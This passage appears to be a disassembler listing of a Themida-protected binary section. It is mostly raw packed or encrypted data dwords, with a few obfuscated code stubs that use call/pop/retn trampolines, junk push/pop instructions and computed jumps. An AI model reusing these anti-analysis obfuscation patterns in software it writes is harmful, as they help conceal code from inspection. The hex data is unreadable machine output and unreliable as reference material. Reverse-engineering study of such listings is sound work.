0C5597F73h dd 0B8BA860Ch, 5D57264Ch, 0D5A4A8C9h, 3202B6DBh, 0C1391338h dd 0B9B38208h, 6F69383Ch, 36385C4Ah, 693C862h, 0FF73A90Fh dd 43057F73h, 0A67349DDh, 23B783A8h, 0B684AA6Ah, 0B776A3EEh dd 64CA04ECh, 0EC4A92F8h, 2CEE7F73h, 0F9F3C298h, 0E1AB787Ch dd 0DE41416h, 0BAB3988h, 173DA90Fh, 0B0B27E4Ch, 0A93DA38Bh dd 817031E0h, 9D0363C3h, 7F73E27Fh, 17C537F9h, 217F73E2h dd 12CBCB5Fh, 55C1BF8Ch, 4166602Fh, 0A0A4C559h, 0BAAED3D5h dd 7F73E267h, 0B63CF585h, 2E6CE9EBh, 183D3B08h, 0E0619C30h dd 71A70D15h, 37F7393h, 43410F41h, 3904B8DDh, 0AD4B1237h dd 0F31034F4h, 384CAB78h, 668B8956h, 0AE84187Eh, 2064E1E3h dd 7F73DAC1h, 0C32989F5h, 7F73CA15h, 0FCC95D1Fh, 0BB31847Eh dd 0FFFEED38h, 21F465FFh, 0FE646C38h, 7F7393DEh, 0D32985Ah dd 8553B925h, 0AF7F7392h, 0B51B87EDh, 755BB562h, 792D5214h dd 9543A9A9h, 9F795BB3h, 0F6FA77DDh, 53072C26h, 0F91F8B81h dd 0CF982C2Eh, 3EC47DF5h, 0B9F7746Eh, 32C6C893h, 6D928C5Ch dd 5BB3A679h, 779D4B79h, 130DDDABh, 601919ADh, 93100ADAh dd 63612F55h, 2F29F9CFh, 6E976A0Ah, 0AFC99C02h, 0E9AB7373h dd 3C082E6Ch, 11E4A63Ah, 6A2288F4h, 5A797274h, 30967A36h dd 7AAC05CCh, 0C21EB2A8h, 9C6E9400h, 59981A6h, 0BBBD883Ch dd 6D6F3A3Eh, 0E10DB01h, 0A46D01E9h, 0C8BE90B6h, 0B789BBA3h dd 7A172DC1h, 9E92DFF2h, 0F9ADD2D0h, 450C3127h, 0D234EEA7h dd 6A6C385Eh, 971DD6D6h, 494DCACCh, 0A75B807Ah, 443E0EDCh dd 0ACD1371Fh, 0FABA73B9h, 0E30806D4h, 0DF9A67FBh, 0D7E95D91h dd 0A6h, 1412E004h, 68335997h, 0FB48CB9Ch, 0A60CE632h dd 6E703C12h, 251BEDF1h, 79446AA8h, 79DFDDABh, 2D86C54h dd 0B6BA3735h, 306EEBE9h, 1B403A0Ah, 0FAC99F33h, 0B47F8300h dd 613135B2h, 19E6EA67h, 6695BA51h, 0DF4541CFh, 0E79BE4BAh dd 2CF81D17h, 0A737DF98h, 0D732BD83h, 1AAEF858h, 1974A40Ah dd 3E007F73h, 0FF1D83C1h, 797F7319h, 2C1A63B7h, 0B3D3706h dd 0D4AD413Bh, 87h, 0E046A6DBh, 7F739338h, 0E2E67A3Ch dd 7393B764h, 7B71437Fh, 0D7D5A256h, 0B16ACEB2h, 934D8BF1h dd 25E77F73h, 28E175BFh, 12E090B5h, 0C7939714h, 724448C5h dd 77DDE5B0h, 7F7393A1h, 86AB11D3h, 0B7BB389Eh, 6B6FECEAh dd 1F23A09Eh, 0D5D95650h, 3BE03E0Ah, 9D109F1Ah, 0E6B6BA37h dd 2D525420h, 2462DF45h, 13331FEh, 28103533h, 15BB94h dd 8DED0000h, 0FF11C72Dh, 61237F73h, 73FF29EFh, 0F5894B7Fh dd 0E03A87BAh, 40F4190Fh, 9D517670h, 0F7ABD0D2h, 55092E28h dd 0B1658A88h, 0DC1E6E4h, 6C20453Bh, 0C5799EA0h, 0FFD4F9F7h dd 81595451h, 4C1h, 4E98300h, 5C240C87h, 430268h, 241C8900h dd 81E18951h, 4C1h, 4E98300h, 5C240C87h, 57241489h, 5A647BBFh dd 0F9F78113h, 57157527h, 91685F5Bh, 89000032h, 4812424h dd 424h, 89565A00h, 87289DEh, 8324348Bh, 34FF04C4h, 0C4815A24h dd 4, 50241C8Bh, 405E089h, 83000000h, 48704C0h, 72E95C24h dd 62FFF936h, 0BF38B644h, 2F48F3B8h, 8BC50306h, 2AE9D3h dd 4C70000h, 24h, 0E800h, 815D0000h, 2F4989EDh, 24448B06h dd 0CD858904h, 0B8062810h, 0 ; --------------------------------------------------------------------------- lea ecx, [ebp+6284F6Eh] jmp ecx ; --------------------------------------------------------------------------- dd 6754B8h, 0FE800h, 0F0DA0000h, 0B550C2BBh, 47CCACC8h dd 0B65BB715h, 81665965h, 81E5DED0h, 70EFC1h, 81566000h dd 97EBB2EBh, 12E85E39h, 0B4000000h, 3DF3C73Ch, 9E822E7Ah dd 0C4C75C7h, 20466332h, 8B0FC4h, 5B000000h, 0C679BE61h dd 0C68105EFh, 0FA105598h, 0DE931FFh, 72000000h, 8D583F0Eh dd 9B7F9880h, 0D43AE8C7h, 81C68B5Ah, 0E1833EF2h, 0E6EA817Eh dd 660726D5h, 81948CBFh, 14FCD7C2h, 48F0F6Fh, 66000000h dd 89AB07BFh, 0DE8B6611h, 0D3D2E981h, 81F87B25h, 25D3CEC1h dd 836BB47Bh, 850F01EEh, 0FFFFFFACh, 8E9h, 9EBE2700h, 8C212EABh dd 568D8D03h, 6A062F4Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 192C350h, 0E50CF554h dd 0FD78B66h, 385h, 65F78000h, 34019D89h, 8D890628h, 6280715h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 14C35545h dd 95772712h, 572B8E28h, 0DE8h, 92F64900h, 0AEE09630h dd 79FBEEFFh, 0BF66A4F2h, 5B58F597h, 20419D2Bh, 85C70628h dd 62821BDh, 6018h, 16ED8589h, 85C70628h, 628113Dh, 0 ; --------------------------------------------------------------------------- mov eax, [ebp+6282B91h] push dword ptr [ebp+6280439h] sub eax, [ebp+62814C9h] mov edi, 0B3023DDh call dword ptr [ebp+62814D9h] push 0 push eax call sub_5BDE68 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BDE68 proc near ; CODE XREF: Themida_:005BDE60p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5BDE68 endp ; --------------------------------------------------------------------------- dd 0C89915E9h, 13E9h, 8E949B00h, 0C7D5259Fh, 737492F2h dd 0C6CA1A6Ah, 13FF8928h, 95FF006Ah, 6280465h, 6EEBC08Bh dd 0B2252A85h, 9A837A10h, 0DA116A78h, 0AC40B2F5h, 7FA13104h dd 0F9B8EE6Ah, 0F6409CB2h, 0DE6040Bh, 0BE61499Dh, 42503990h dd 0F1DFCB79h, 1A58265Ch, 5AA1D210h, 0EB72DF76h, 0EB14288Bh dd 4C559BA5h, 4FCB896Ch, 0C265BBD9h, 241F9ECAh, 0A48A4109h dd 0CC6CE185h, 0E8207A87h, 74EB251Dh, 78291E2Ah, 719D4513h dd 0B438B540h, 0FDC2F6F9h, 0CAFE14BEh, 0A80A427Ch, 8A4ECAF3h dd 0A80A42BBh, 75EAD5ABh, 0A80A4313h, 8A4ECBF9h, 57AE5DBAh dd 8A4EC856h, 0A80A4003h, 75EAD5ABh, 0A80A40CAh, 8A4EC884h dd 0A80A4154h, 8A4EC906h, 0A80A41CEh, 75EAD5ABh, 5CD42F25h dd 3130518h, 871A69C0h, 0E890A752h, 21578D08h, 0A55EE5D1h dd 11D42F43h, 3130519h, 871A71C0h, 9B90A752h, 21578D0Bh dd 0A55EF1D1h, 0C0D42F43h, 313051Ah, 871A7DC0h, 3790A752h dd 21578D0Bh, 0A55ECDD1h, 0A9D42F43h, 313051Bh, 871A49C0h dd 0C090A752h, 21578D0Ah, 0A55ED9D1h, 23D42F43h, 313051Bh dd 871A55C0h, 4690A752h, 21578D0Ah, 0A55ED1D1h, 0A5D42F43h dd 3130504h, 871A5DC0h, 0CC90A752h, 21578D15h, 0A55929D1h dd 12B8C343h, 0DF152A50h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h dd 0C6BBC0D5h, 0ED96A46Ah, 8A152AA8h, 0A0242945h, 0B496E367h dd 0A1D5ADBAh, 0CB152A54h, 415564C6h, 75EAD5BAh, 3AAE63CEh dd 8C3D04DDh, 0AB534284h, 0FFEA2211h, 0A4245D55h, 0CF9C3AABh dd 0EDDAC3B9h, 86D7E3A8h, 44DAF745h, 0EAE9EED7h, 2359D7CEh dd 0CFD22629h, 0A851A2B9h, 62AD6C54h, 351A241h, 27BFEA66h dd 50DB2FEEh, 7513056Ch, 2011294h, 0B2EDA0D9h, 79AEA46Ah dd 0AE51A1ECh, 22DC0941h, 8C3A12ACh, 103773BAh, 21732ADFh dd 90A928C8h, 5BEA2C7Bh, 8C152BFDh, 988150h, 0AE7E9ABDh dd 0D2A5FBABh, 0A42C89EFh, 0EBE957DDh, 61ADE7CEh, 0DF152296h dd 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 0C77BC0D5h, 0DDDAA46Ah dd 8668A15Ch, 0A8ADE782h, 0CC152A54h, 0A81430BAh, 529E2C7Ch dd 83FC69CEh, 0E2A5B997h, 0F9FA31EFh, 0B2EDA0D9h, 79AEA46Ah dd 20949A0Dh, 8C551A23h, 21848132h, 215DDF6Eh, 174D629h dd 6A985E00h, 1402A5Ch, 549521A9h, 8A15C234h, 290BA245h dd 0A558EFBEh, 0A0242943h, 4D1957DFh, 0A8515E00h, 75532A54h dd 8051E7D7h, 19CDA152h, 9BFC69CEh, 0E2A5B997h, 0F9FA31EFh dd 0B2EDA0D9h, 79AEA46Ah, 20949A0Dh, 8C651A23h, 21848132h dd 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch, 549521A9h dd 8260A134h, 6F5DDFCEh, 8A15D611h, 3BFDA245h, 0B91DC995h dd 4919197h, 4A38F2DEh, 2851A245h, 0E1AD5A8h, 0A851A25Eh dd 8A1523EDh, 2DA05545h, 86902586h, 2851A245h, 4B7332A3h dd 2337AA8Eh, 0A1BE4C97h, 0D5D8AE38h, 0CF9E4BA8h, 0A0936BB9h dd 669E7F54h, 0C8AD66C6h, 11D5FDFh, 0ED96AE38h, 8A152AA8h dd 69C20E45h, 582622B7h, 22FD6276h, 8AD5078Ch, 54D1A245h dd 939125ABh, 1151A245h, 8A152A5Dh, 7AD453B2h, 8A1FAF5Bh dd 10E0A245h, 4B93E256h, 39191EFh, 319577Fh, 23305E38h dd 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h, 4D1957DFh dd 0A8515E00h, 0B92A54h, 0A7B2229Dh, 85E1D4h, 22DC0886h dd 8C3A12ACh, 0F8E173BAh, 729FA7FEh, 57578D7Dh, 20D6A085h dd 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch, 549521A9h dd 8260A134h, 6F5DDFCEh, 8A15D611h, 0AFE9A245h, 75152A54h dd 807F2BD7h, 20452652h, 90A928C8h, 5BEA2C7Bh, 9BFB2BF5h dd 85318694h, 0AC59622Eh, 0AEA58050h, 0A42C89EFh, 0EBE957DDh dd 61ADE7CEh, 0DF152296h, 6CD24ECEh, 0FF9E4AA8h, 0A42C294Dh dd 8AE96F93h, 451A245h, 0CF87D5FEh, 23578A45h, 4917868Ch dd 50DB2FEFh, 7513056Ch, 28E9C494h, 0BE4CBDh, 0D57A0886h dd 7668A358h, 54142924h, 8A1DE89Dh, 2BBD2910h, 175D690h dd 0D5DAAA30h, 7650ED58h, 0A851A245h, 18EA80F8h, 0AE79A200h dd 58B9E2DFh, 32DC0885h, 8C3A12ACh, 103771BAh, 2173E394h dd 83FB63CFh, 0F79C2629h, 0EDDAC3B9h, 82D7E3A8h, 44DAF745h dd 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h, 75BF8654h dd 8051E7D7h, 26DDA152h, 25FB6377h, 0A52DD2CEh, 0CE825D43h dd 0ECE4AAECh, 29028EEh, 319577Fh, 23305E38h, 48DCD611h dd 2304A24Dh, 76D1A9B8h, 0A0242925h, 4D1957DFh, 0A8515E00h dd 32732A54h, 3376B77h, 0B2EDB0D9h, 7BAEA46Ah, 4B959232h dd 4FD0923h, 866801FEh, 0C9ADDFCCh, 43E96FDFh, 0FD51AA87h dd 4E96C6DFh, 0DDDAC2B9h, 8668A15Ch, 0A8ADE782h, 0EC152A54h dd 0CEB824FDh, 728FA7FFh, 57578D7Dh, 20A09A87h, 25FB0E03h dd 0A52DD2CEh, 0CE825D43h, 0ECD8ACECh, 0A42C89EEh, 0EBE957DDh dd 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h dd 0DA83C0D5h, 0ED96A46Ah, 8A152AA8h, 0A0242945h, 261957DFh dd 2C5E9179h, 8A152A1Eh, 2C5E8979h, 8A152A16h, 2C5ECA79h dd 8A152A49h, 2C5E1379h, 8A152A38h, 2A5EF279h, 8A152A5Ch dd 2A5EFA79h, 8A152A6Bh, 0A851D6ACh, 8660D554h, 2559D7BAh dd 0A55EE1CEh, 32DCF143h, 8C3A66F6h, 0EDD871BAh, 8A42C3A8h dd 0DDAEA245h, 8260D558h, 0E38A38C8h, 7462C7Bh, 871D00DFh dd 3C6D552h, 92B85E00h, 75152A54h, 0DDAEAE30h, 6D8FA75Ch dd 0FB578D0Eh, 0C6B7B0D9h, 7BAEA46Ah, 63E96FDDh, 0A851A258h dd 75195FABh, 32DCAA30h, 8C3A61A7h, 0ACB2F16h, 75130518h dd 54142B96h, 8A152ABDh, 0EDDAC345h, 82D7E3A8h, 3044BA45h dd 16EB0000h, 5 dup(0) ; --------------------------------------------------------------------------- add [ecx], eax nop add al, 0 add [edi], ch push es push 0 push edx call sub_5BE4CF and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE4CF proc near ; CODE XREF: Themida_:005BE4C7p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5BE4CF endp ; --------------------------------------------------------------------------- db 37h dd 0BC451003h, 0DD806FD1h, 525090B2h, 0EC4B75BBh, 8A310F74h dd 50585AC8h, 0B8C0Fh, 6E90000h, 1C000000h, 3222778Eh dd 6A9029h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 556E8FC3h, 0F006A21h, 6ADEBFh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0FFC35040h, 770F51DEh dd 52BE858Dh, 6A062Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 0BD2C88C3h, 0F57B3DFh, 482h, 77BB6600h dd 50905ACBh, 9E952h, 0FD5B0000h, 0C621681Dh, 0F7BD6F5h dd 5F576031h, 38F1DCB8h, 585A6120h, 0F576050h, 82h, 0D3BB5E00h dd 613F493Dh, 6AAAB290h, 0C7816600h, 6AFABFh, 243195FFh dd 6A0628h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 1A5F6CC3h, 0BD8B552Dh, 6282681h, 0DA76BA66h dd 68A0Fh, 8D030000h, 62806E5h, 592E9h, 8166F500h, 0E87032D1h dd 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 62F52C3h push 0 push ebx call sub_5BE61A and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE61A proc near ; CODE XREF: Themida_:005BE612p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5BE61A endp ; --------------------------------------------------------------------------- dw 0D4A0h ; --------------------------------------------------------------------------- push esp mov [ebp+62821E9h], edx mov [ebp+628337Dh], eax and ecx, [ebp+6282A79h] push 13D22B26h push ecx pusha mov esi, 2C2CCB1Ch pusha popa popa pop edi xor dword ptr [esp], 13D22486h push 0 push ecx call sub_5BE661 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE661 proc near ; CODE XREF: Themida_:005BE659p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5BE661 endp ; --------------------------------------------------------------------------- db 59h, 0Bh, 41h dd 0D366D0B4h, 293CF2E1h, 281EC1B5h, 0FF7DB106h, 28046595h dd 8D4CB506h, 2F5163B5h, 299D8B06h, 0C706280Eh, 67655206h dd 858D896Dh, 0C7062801h, 6E6F0446h, 0E9606C63h, 10h, 0FABD69F5h dd 4708809Dh, 1D53E9C1h, 0FD4069EEh, 6810Fh, 0E8810000h dd 0E612FBAh, 846C761h, 737361h, 1820Fh, 6AF90000h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 29F8E9A5h, 28015195h, 68C0F06h, 2B000000h, 2825618Dh dd 63858D06h, 60062F51h, 128D9529h, 0BD010628h, 6280ED5h dd 52505061h, 0A16ABCBAh, 66310F6Ch, 5AF206BBh, 24048958h dd 21298589h, 95FF0628h, 628115Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 0B7C35141h, 8B6F154Fh, 0FC00BCFh dd 3384h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 4A92E00Ah, 8950A0B0h, 28181DB5h dd 3A3E906h, 0B5290000h, 62823A1h, 0B2388268h, 81DA8BD0h dd 0C8AA2404h, 6A2F4Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 0FD4A91C3h, 0AC862EF6h, 95FFD08Ah dd 6280465h, 409958Bh, 0B58D0628h, 62F5163h, 0C7DEBF0Fh dd 34383106h, 14E936h, 16E60000h, 0F1DE1F38h, 4119EE0Dh dd 0AE9F31BAh, 0A3DE013Ch, 46C7546Bh, 342D3704h, 57006A31h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0BD03A1BCh, 6281F75h, 2D89958Bh, 46C70628h, 8, 0CB816600h dd 6A693Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0F7C35747h, 911ABB68h, 89B0A214h, 28119DBDh, 63858D06h dd 6A062F51h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 7E6CC355h, 4457EB9Eh, 22D19D89h dd 0BA660628h, 6050D1D1h, 11E8h, 9C286300h, 0BE151CD6h dd 50234BFCh, 0A97FF60Ch, 5E92C18h, 0DB000000h, 43C9CCCEh dd 5FBB6659h, 48961C7h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 0DCDE7079h, 0DF4ECDD7h dd 0FFDE8B66h, 28115D95h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 3D79FC14h dd 0C00BA3B5h, 6D840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0D38CD1C3h, 963DB767h dd 88A0F0Bh, 0F000000h, 28Dh, 0E9DF8B00h, 1E9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 36C35646h, 2474AD89h dd 6318531h, 8C0F0628h, 0Bh, 5890Fh, 81660000h, 0E8CEE3C3h dd 4, 12Ch, 6650FE8Bh, 448BD18Bh, 0E6B60424h, 8F0F008Bh dd 5, 7B0FEBFh, 24448917h, 0BD8B5804h, 62825B9h, 46595FFh dd 6A0628h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 0C1C92AC3h, 4622C31Bh, 0F8C8001h, 684h, 858D8900h dd 8D062834h, 2F5163B5h, 0BE806h, 0CFE60000h, 0E68ABBF8h dd 0DAB4037Bh, 0C759F83Ah, 6C694606h, 55006A65h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 876A9EEFh, 0C72303F8h, 6F6D0446h, 6A636Eh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 0F56DEBC3h dd 0C7D2BF0Fh, 616C0846h, 6A7373h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 503BC5C3h, 0C7598A54h dd 0C46h, 6B50000h, 0F381006Ah, 3A2649C0h, 89CF8B60h, 28053D9Dh dd 858D6106h, 62F5163h, 7799D89h, 0B5500628h, 2404894Ah dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 4CC35747h dd 858501F9h, 0FF062823h, 28115D95h, 43DA8106h, 0B5276EBh dd 2D840FC0h, 66000000h, 0E9E76FBAh, 51h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 16h, 0C2C35141h, 0D1812D03h dd 52797A59h, 0FFFAF2E9h, 52006AFFh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0B5958913h dd 89062810h, 282EDDBDh, 0C4B58D06h, 6A062873h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0EC7FC353h, 0D6B64B1Ch, 18F9BD89h, 0B80628h, 8B000000h dd 6AE6FFDAh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 5576C357h, 8B7E2339h, 0BBE9C1h dd 0BE8F0000h, 79474BC8h, 2EFAFE7Bh, 0D9ABAF2Ch, 956266E3h dd 4B171A97h, 32AFAD7Ah, 0E8655F2Eh, 9A1719E4h, 4FCCC696h dd 0E5339929h, 8F795CCBh, 0B21272BCh, 5CCB8C4Ch, 74E6A879h dd 795CCBA4h, 3F7A0ED0h, 0B6B080A6h, 0A977A991h, 0A9E86ABh dd 476C6234h, 5F552765h, 93659EE2h, 93457F73h, 0EB7F351Ch dd 7F772169h, 0B1422DD1h, 15D27Fh, 0DE040000h, 70A80E0Eh dd 47FB506h, 0DBAADC42h, 40D4BCE1h, 0E03A8705h, 40F4190Fh dd 9D517670h, 0F7ABD0D2h, 55092E28h, 0B1658A88h, 0DC1E6E4h dd 6C20453Bh, 0C5799EA0h, 0FFD4F9F7h, 2F585168h, 26D7E906h dd 0CFF4FFF9h, 7E891926h, 14E891h, 18030000h, 0B29F6536h dd 0B9EF9932h, 6E4B9916h, 0A56B399h, 0BD8B9CE4h, 62831DDh dd 0EE95Ah, 47580000h, 0BCB3BF91h, 8555EA87h, 4849D208h dd 6B6FC281h, 0FE90000h, 7E000000h, 4029768Ch, 37C50BBDh dd 0E48BD7BAh, 0C93304FFh, 8BF88B66h, 0C18B0A34h, 61C0EE81h dd 11E941C7h, 6A000000h, 7913F1Dh, 267BDBBBh, 62973AFDh dd 238C3B9h, 7D04EE81h, 9D330A63h, 6282E5Dh, 0C005F681h dd 9D8B09A8h, 6280F81h, 800A3489h, 8509FCE8h, 6282E41h dd 41E8E981h, 0B5091F80h, 62805C5h, 41E4C181h, 850B1F80h dd 628095Dh, 9548F981h, 850FFFFFh, 0FFFFFF97h, 9C55B5BBh dd 3BE93Ah, 8B600000h, 2824E1BDh, 4EF8306h, 0C18BC933h dd 0B88320BBh, 4C783EDh, 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h dd 0FFFFFFF1h, 81078941h, 100F9h, 0D3820F00h, 61FFFFFFh dd 8DC88BC3h, 280EE19Dh, 13A8B806h, 85890000h, 6282459h dd 0E8h, 0D055800h, 89000000h, 13A8E903h, 4ACh dup(0) dword_5C0024 dd 0Eh dup(0) ; DATA XREF: ___:004327FCo dword_5C005C dd 30h dup(0) ; DATA XREF: ___:off_432950o dd 8D8D0000h, 62F6EA4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 98C35747h, 8D892AA5h, 6280715h, 85C7F88Bh dd 62821BDh, 6114h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 87C35040h, 0CDF93DC0h, 0FD08B66h, 0A87h dd 5E900h, 0E60C0000h, 66423245h, 0C797E7BFh, 28113D85h dd 6, 5BD28000h, 2955B5FFh, 0EF810628h, 53BD6C6Bh, 14D995FFh dd 6A0628h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 0BA3E98C3h, 30C7B338h, 0E960A8B5h, 0Eh, 785D0A19h dd 0D7764267h, 0B4792F7h, 6A5627h, 46595FFh, 0C08B0628h dd 0A8833DEBh, 6EBD750Eh, 3682561Bh, 0DEBC1CEFh, 0B3E37FF0h dd 7737F00h, 0BFC778BDh, 914758A9h, 87BCB3BFh, 88555EAh dd 614849D2h, 26A7348Fh, 55DBFD61h, 0FCF0450Ch, 0E4F4DCB5h dd 0E84914D6h, 0Ch, 0E5A860A9h, 7E04E382h, 0EBE97E6h, 2B718589h dd 515E0628h, 34E59D8Bh, 815A0628h, 7537C6h, 8BB6600h dd 2210B8A0h, 0F0812C3Eh, 2C3E3F30h, 14E9h, 0E2FF9200h dd 191C3AE0h, 0AF164777h, 0BFF89367h, 6ABEDBD0h, 0E936FFA7h dd 6, 0F06C85B1h, 8B5FFBBDh, 2809298Dh, 1EF8106h, 8B6B39C4h dd 2812798Dh, 0D6C78106h, 0F6AD54Ah, 0F781CEBFh, 4CD54AFh dd 332D8D8Bh, 3570628h, 282E3D9Dh, 89068F06h, 2829418Dh dd 3EE8306h, 48F0Fh, 8B600000h, 0E94E61D3h, 12h, 10EFBA9Fh dd 132D0011h, 2CA3EA8h, 7CD6BC54h, 0F48FB70h, 0FFFF9085h dd 0E9D88BFFh, 0Bh, 54E42584h, 0 dd 0E9000000h, 0D5Eh, 2F71E068h, 1017E906h, 0C068FFF9h dd 0E9062F72h, 0FFF9100Dh, 2F73A768h, 1003E906h, 4F68FFF9h dd 0E9062F74h, 0FFF90FF9h, 2F777968h, 0FEFE906h, 7668FFF9h dd 0E9062F7Ah, 0FFF90FE5h, 2F7B7868h, 0FDBE906h, 0EDFFFF9h dd 0C9979B18h, 7E4A4ECBh, 29FBFF7Ch, 0E5B2B633h, 3B676AE7h dd 82FFFDCAh, 38B5AF7Eh, 0EA676934h, 9F1C16E6h, 5583E979h dd 0DF795CE3h, 0D09CC20Ch, 2DC1A9CEh, 0E046A6F2h, 7F739338h dd 0D1F6F4C2h, 0DB6F31E9h, 153A3805h, 17949661h, 0C3295427h dd 7F739315h, 8BF75D1Fh, 5BAD6E25h, 21460875h, 5BB4EB2Dh dd 0D58ED479h, 59522158h, 3A95C1h, 8DED0000h, 5BBCF127h dd 25F58379h, 0B81E062Bh, 21F4E924h, 934098FEh, 66F47F73h dd 0D1379D97h, 0A02CFF65h, 8C4E755Bh, 0A7A17367h, 0D41A795Bh dd 63DB9E1Bh, 7DBC159h, 8000000h, 887DDh, 10E0E400h, 577C7E4Ah dd 0F6E4096Fh, 93E83096h, 9147F73h, 0E4F49D13h, 3A08964Eh dd 6C42D63Ch, 16A9D89Ch, 59898353h, 43A93651h, 926288C6h dd 8BC55FCEh, 3EA455CAh, 0DB9D3119h, 197FEB08h, 755B850Eh dd 5B496E30h, 26969437h, 4F375C56h, 0CA02CC1Fh, 37CBCD98h dd 5BE2FF21h, 3C3A0779h, 98966317h, 68219973h, 0C1E73DAEh dd 0E7CFF4F6h, 1D9A5353h, 0C1599C5Ch, 4C5Ah, 0C08CB200h dd 0F4EF2ABEh, 6C6A3821h, 0DA3A9A06h, 7393A474h, 7A0ED07Fh dd 5BBEF564h, 6573FF75h, 1819FF4Bh, 7E7297FDh, 795BF75Ah dd 6626DF25h, 53786E40h, 6F0AD76Bh, 23C15993h, 10352BFDh dd 2C26F628h, 9F8B1F07h, 0B5h, 1610E0CCh, 0A6703DF1h, 0CEB6DBD9h dd 0BF8F4368h, 1CECA0C5h, 9F61A522h, 677F738Eh, 1C209D97h dd 8D2D524Ch, 0C72D99BAh, 755B9564h, 3C3A0896h, 99936317h dd 6050CD33h, 0D6FC688Dh, 0FBE3080Ah, 91F15767h, 0F3737529h dd 0D29FC531h, 3FB068CEh, 2C47321h, 4E1B1F9Ch, 4E00E250h dd 0D1ACB400h, 0A6A1Ah, 392F0000h, 0ECEAB8BCh, 9D9F6B6Fh dd 544A1C20h, 806D3D7h, 0EBDA888Bh, 9FA3201Eh, 5559D6D0h dd 70B888Ah, 9AC03D37h, 0E274A40Ah, 2D00795Ch, 4913E0B8h dd 745C8177h, 1C42A20Eh, 3AE2544Ah, 3E7F7393h, 0C0E5E3B0h dd 0BDDE72D8h, 72EFE9B9h, 421F409h, 0BEAB3298h, 0BCD755Bh dd 862EF2E6h, 5399795Bh, 0DCB6DA9Ah, 0F8390E66h, 9FDAA73Bh dd 17C159ABh, 0AEh, 1610E044h, 72703DF1h, 6B395F4Dh, 0CC60486Dh dd 738E42B6h, 0F2ECBC7Fh, 0A7A17175h, 1C0FE282h, 0BC78FAFh dd 0B9258B7Ah, 5B83F053h, 0E3602275h, 970320F3h, 75272231h dd 567C4473h, 7F678C86h, 212ACF0Dh, 41A76973h, 0E4E2AFD5h dd 8A805278h, 4D1D5F6h, 2A429A00h, 34F67321h, 5B9460CEh dd 4520B400h, 98A8Eh, 594F2000h, 0C0AD8DCh, 0BDBF8B8Fh dd 746A3C40h, 2826F3F7h, 0BFAA8ABh, 0BFC3403Eh, 7579F6F0h dd 272BA8AAh, 0BAE05D57h, 0E114C42Ah, 4D20795Ch, 0B380A6D8h dd 7E4B21B5h, 9FC50380h, 0C4ACD1D3h, 908A5A30h, 10E0AA13h dd 0A303F116h, 73939F3Dh, 53511F7Fh, 0CC8E462Eh, 98926238h dd 365E1C1Bh, 0A8AA7663h, 9306D63Ch, 70327F73h, 1389E0Ah dd 73755B86h, 0E2FF25B1h, 1A1090AFh, 52B21E47h, 9EAD2CECh dd 568648D0h, 0B1843E2h, 0C9D96DC1h, 7A744369h, 0C3D96D55h dd 0DAB6631Ch, 412F5416h, 0BA4E501Bh, 940025F8h, 0AE6ED434h dd 0CAC96663h, 25E7408h, 